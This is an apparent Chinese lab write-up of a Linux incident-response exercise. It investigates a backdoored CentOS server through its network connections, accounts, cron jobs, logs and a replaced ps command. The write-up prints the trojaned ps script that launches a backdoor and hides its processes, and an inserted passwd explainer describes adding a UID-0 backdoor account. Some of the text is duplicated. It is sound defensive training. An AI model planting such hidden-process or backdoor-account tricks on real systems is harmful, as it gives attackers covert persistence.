欢迎光临
我们一直在努力

任务14 应急响应案例4

下载链接: https://pan.baidu.com/s/1Upr1e4ZagIY0CGzbZ73bbg?pwd=sqjd

1.事件背景

某日,一位客户发来反馈:服务器似乎遭到入侵,正在与一个恶意 IP(代号:192.168.226.131)进行通信。受影响的服务器运行着 CentOS 操作系统,IP地址为 192.168.226.132,但未部署任何 WEB 服务。

用户名密码:root root

2. 应急响应过程

2.1 排查网络连接

在检查服务器的网络连接时,我发现了一个异常现象:服务器 192.168.226.132 不断地与恶意 IP 地址 192.168.226.131 的 3512 端口建立连接,并且这些连接的程序名被标识为 shell.elf,其 PID 号分别是 3424和 12874。这一情况让我意识到可能存在严重的安全问题,需要立即采取行动来应对这一威胁.

netstat -anpt

在观察异常通信时,我注意到这些连接状态为 "SYN_SENT",而且隔一段时间就会重新发起连接,而且每次连接的进程 PID 号都不相同。这种现象表明恶意 IP 地址 192.168.226.131 的行为异常,可能在尝试进行入侵或者进行其他恶意活动

我根据 PID 号查找到了对应程序的位置,发现它位于 `/root/shell.elf`。这个发现让我更加警觉,因为该程序不仅与异常的恶意 IP 地址建立了连接,而且其位置在根目录下,这可能意味着它具有潜在的危险性。需要立即对此程序进行深入分析和处理,以确保服务器的安全。

lsof -p 3430

lsof -p 3512

通过查看,我发现 `shell.elf` 文件的创建时间是在 2022 年 1 月 14 日的 00:51:12。这个发现让我更加担忧,因为这意味着这个恶意程序已经存在了一段时间,可能已经在服务器上潜伏了一段时间。现在更加迫切需要采取行动,阻止其进一步的恶意活动并确保服务器的安全。

stat shell.elf

进一步的分析表明,经过将 `shell.elf` 文件提交到微步在线检测平台检测后,结果显示该文件确实是一个后门文件。这个发现再次强调了安全威胁的严重性,因为后门文件可能允许攻击者远程控制服务器,执行恶意操作或窃取敏感信息。

2.2 历史命令排查

我立即检查服务器的日志,以查看是否有任何可疑的命令被黑客执行。通过分析日志记录,我能够追踪到任何可能的恶意活动或非授权访问,并且采取适当的措施来应对这些威胁。

History

发现历史命令已经都被黑客清空

2.3 排查后门账户

要查看当前登录系统的用户,可以使用 who 命令或 w 命令。这些命令将显示当前登录到系统的用户及其相关信息。

执行这些命令后,系统将显示当前登录到系统的用户列表,包括用户名、登录时间、登录来源等信息。没有发现异常。

查看特权账户

awk -F: '$3==0 {print$1}' /etc/passwd

# /etc/passwd 条目完整解析
样例:
```
root:x:0:0:root:/root:/bin/bash
```
整条以**冒号 `:`** 分隔,一共7个字段,格式统一:
`用户名:密码占位符:UID:GID:注释信息:家目录:登录Shell`

## 字段逐一拆解
### 1. 第1段:root
登录用户名,系统登录标识。

### 2. 第2段:x
密码占位符:
– `x`:用户加密密码**不在passwd**,存放于 `/etc/shadow`(现代Linux默认,shadow严格权限,仅root可读);
– 为空:无密码,可直接免密登录;
– 特殊字符:早期系统直接存放加密密码,现已废弃,不安全。

### 3. 第3段:0(UID 用户ID)
– UID=0:**超级管理员root**,系统唯一最高权限;
– 1~999:系统内置服务账号(nginx、mysql等,禁止登录);
– ≥1000:普通新建用户。

### 4. 第4段:0(GID 组ID)
对应 `/etc/group` 内的用户初始用户组ID,root默认归属root组。

### 5. 第5段:root(注释/备注)
个人说明、全名,可自定义,一般写用户名、描述,空着也合法。

### 6. 第6段:/root(家目录)
用户登录后默认所在文件夹:
– root专属家目录 `/root`;
– 普通用户一般为 `/home/用户名`。

### 7. 第7段:/bin/bash(登录Shell)
用户登录后使用的命令解释器:
1. `/bin/bash`:可正常交互式登录;
2. `/sbin/nologin`:禁止SSH/终端登录,多用于服务账号;
3. `/bin/false`:强制拒绝登录;
4. `/sbin/shutdown`:登录即关机,特殊用途。

## 延伸知识点(安全渗透常用)
1. **提权后门手法**
手动新增一行 `test:x:0:0::/root:/bin/bash`,UID=0 实现伪root账号,拥有最高权限。
2. **账号排查**
排查异常UID=0的陌生账号,排查nologin以外的可疑服务账号,是入侵排查常用手段。
3. 配套文件
– `/etc/passwd`:所有用户基础信息,所有用户可读;
– `/etc/shadow`:密码哈希、过期策略,仅root可读;
– `/etc/group`:用户组信息。

## 同类示例对比
```
nginx:x:997:997::/home/nginx:/sbin/nologin
```
普通服务账号,UID997,不可登录,仅运行服务。

👋

/etc/passwd 条目完整解析

样例:

root:x:0:0:root:/root:/bin/bash

整条以冒号 : 分隔,一共7个字段,格式统一:

用户名:密码占位符:UID:GID:注释信息:家目录:登录Shell

字段逐一拆解

第1段:root

登录用户名,系统登录标识。

第2段:x

密码占位符:

  • x:用户加密密码不在passwd,存放于 /etc/shadow(现代Linux默认,shadow严格权限,仅root可读);
  • 为空:无密码,可直接免密登录;
  • 特殊字符:早期系统直接存放加密密码,现已废弃,不安全。

第3段:0(UID 用户ID)

  • UID=0:超级管理员root,系统唯一最高权限;
  • 1~999:系统内置服务账号(nginx、mysql等,禁止登录);
  • ≥1000:普通新建用户。

第4段:0(GID 组ID)

对应 /etc/group 内的用户初始用户组ID,root默认归属root组。

第5段:root(注释/备注)

个人说明、全名,可自定义,一般写用户名、描述,空着也合法。

第6段:/root(家目录)

用户登录后默认所在文件夹:

  • root专属家目录 /root;
  • 普通用户一般为 /home/用户名。

第7段:/bin/bash(登录Shell)

用户登录后使用的命令解释器:

  • /bin/bash:可正常交互式登录;
  • /sbin/nologin:禁止SSH/终端登录,多用于服务账号;
  • /bin/false:强制拒绝登录;
  • /sbin/shutdown:登录即关机,特殊用途。
  • 延伸知识点(安全渗透常用)

  • 提权后门手法
  • 手动新增一行 test:x:0:0::/root:/bin/bash,UID=0 实现伪root账号,拥有最高权限。

  • 账号排查
  • 排查异常UID=0的陌生账号,排查nologin以外的可疑服务账号,是入侵排查常用手段。

  • 配套文件
    • /etc/passwd:所有用户基础信息,所有用户可读;
    • /etc/shadow:密码哈希、过期策略,仅root可读;
    • /etc/group:用户组信息。

    同类示例对比

    nginx:x:997:997::/home/nginx:/sbin/nologin

    普通服务账号,UID997,不可登录,仅运行服务。

    经过与客户沟通后,确认发现了两个特权账户:root 和 wxiaoge。进一步的调查表明,wxiaoge 账户是由黑客创建的,这个发现非常重要,因为它可能是入侵事件的一部分。

    查看可以远程登录的帐号信息

    awk '/\\$1|\\$6/{print $1}' /etc/shadow

    awk '/\\$1|\\$6/{print $1}' /etc/shadow

    又有wxiaoge,确定了 wxiaoge 是黑客的后门账户

    接下来查看用户最近登录情况

    cat secure |grep "Accepted"
    grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

    发现 wxiaoge 账户在 1 月 14 日的 00:47:33 登录了服务器,而该登录来源的 IP 地址为 192.168.226.1。

    2.4 排查crontab后门

    查看服务器的定时任务

    crontab -l

    经过调查发现root账户下存在一个定时任务,它每分钟都在执行 `/root/shell.elf` 文件。且 `shell.elf` 文件已被确认为后门文件。

    2.5 排查是否有命令被替换

    继续进一步检查,确认命令文件是否被替换。这项检查是为了确保被执行的命令文件没有被恶意文件所替代,从而防止可能的安全威胁。

    rpm -Vf /usr/bin/*

    #S 关键字代表文件大小发生了变化
    #5 关键字代表文件的 md5 值发生了变化
    #T 代表文件时间发生了变化

    rpm -Vf /usr/bin/*

    #S 关键字代表文件大小发生了变化

    #5 关键字代表文件的 md5 值发生了变化

    #T 代表文件时间发生了变化

    查看ps命令内容

    cat /usr/bin/ps

    发现ps文件内容发现被修改了,且被被修改成以下内容

    [root@192 log]# cat /usr/bin/ps
    #!/bin/bash
    /centos_core.elf & /.hide_command/ps |grep -v "shell" | grep -v "centos_core" | grep "bash"

    #!/bin/bash

    /centos_core.elf & /.hide_command/ps |grep -v "shell" | grep -v "centos_core" | grep "bash"

    #每次执行ps命令都会执行centos_core.elf文件、.hide_command/ps文件

    #grep -v的意思是只打印没有匹配的,而匹配的反而不打印,相当于隐藏shell、centos_core、bash异常文件信息

    查看centos_core.elf文件创建时间为:2022-01-14 00:57:03.954050367 -0500

    stat /centos_core.elf

    将 centos_core.elf 文件放在微步云沙箱检测是后门文件

    经过调查,发现存在一个名为 ps 的命令后门。这个后门通过替换正常的 ps 命令来实现,每当执行一次 ps 命令时,实际上会触发执行 /centos_core.elf 后门文件。这种情况非常危险,因为它允许攻击者在不被察觉的情况下执行恶意操作。

    2.6 总结

    经过调查,我们确认了以下安全问题:

    1. 发现后门文件 `/root/shell.elf` 和 `/centos_core.elf` 存在于系统中,这些文件可能被黑客用于执行恶意操作。

    2. 账户 `wxiaoge` 被发现是一个后门账户,可能被黑客用于入侵和执行恶意活动。

    3. 发现存在恶意定时任务,可能被用于定期执行恶意代码或命令。

    4. 发现 `ps` 命令被替换为后门版本,每次执行 `ps` 命令都会触发执行后门代码。

    这些发现表明系统存在严重的安全威胁,我们必须立即采取措施来清除后门文件、禁用后门账户、删除恶意定时任务,并修复被替换的 `ps` 命令,以确保服务器的安全。

    清除后门文件

    rm -rf /root/shell.elf

    rm -rf /centos_core.elf

    将ps命令删除再将 .hide_command/ps 恢复

    rm -rf /usr/bin/ps

    mv /.hide_command/ps /usr/bin/ps

    删除后门账户

    vi /etc/passwd

    #vi编辑额passwd文件,按dd删除 wxiaoge那一行,之后保存并推出

    3.应急响应溯源

    3.1 查看后门

    查看 shell.elf 文件的创建时间为:2022-01-14 00:51:12

    stat shell.elf

    查看 定时任务 root 文件的创建时间为:2022-01-14 01:05:53

    stat /var/spool/cron/root

    查看centos_core.elf文件创建时间为:2022-01-14 00:57:03.954050367 -0500

    stat /centos_core.elf

    查看 ps命令文件修改时间为:2022-01-14 01:03:42

    stat /usr/bin/ps

    3.2 排查安全日志

    查看secure日志,发现爆破的时间范围是1.13 21:51:32——21:58:31

    cat /var/log/secure |grep Failed

    cat secure |grep "Failed"|head -n 5
    cat secure |grep "Failed"|tail -n 5

    cat /var/log/secure |grep Failed

    查看爆破的次数、攻击IP、破的用户名

    #查询有哪些IP在爆破命令

    grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

    grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

    #查询被爆破的用户名都有哪些

    grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\\n";}'|uniq -c|sort -nr

    grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\\n";}'|uniq -c|sort -nr

    接下来查看用户最近登录情况

    grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

    grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

    发现 root 账户在1月13 日 21:57:56 登录了该服务器,在爆破的时间范围内(21:51:32——21:58:31)

    wxiaoge 账户在 1月14 日 00:47:33登录了该服务器

    3.3溯源总结

    经过调查发现,黑客于 1 月 13 日的 21:51:32 到 21:58:31 期间对服务器进行了爆破行为,并在 21:57:56 成功爆破出了 root 账户的密码,并且成功登录到系统。在 1 月 14 日的 00:51:12,黑客植入了名为 shell.elf 的后门,随后在 00:57:03 植入了名为 centos_core.elf 的后门,并在 01:03:42 植入了针对 ps 命令的后门。另外,在 01:05:53 时,黑客还写入了恶意定时任务。这些恶意行为都是由 IP 地址为 192.168.226.1 的黑客发起的。

    赞(0)
    未经允许不得转载:171主机测评 » 任务14 应急响应案例4
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址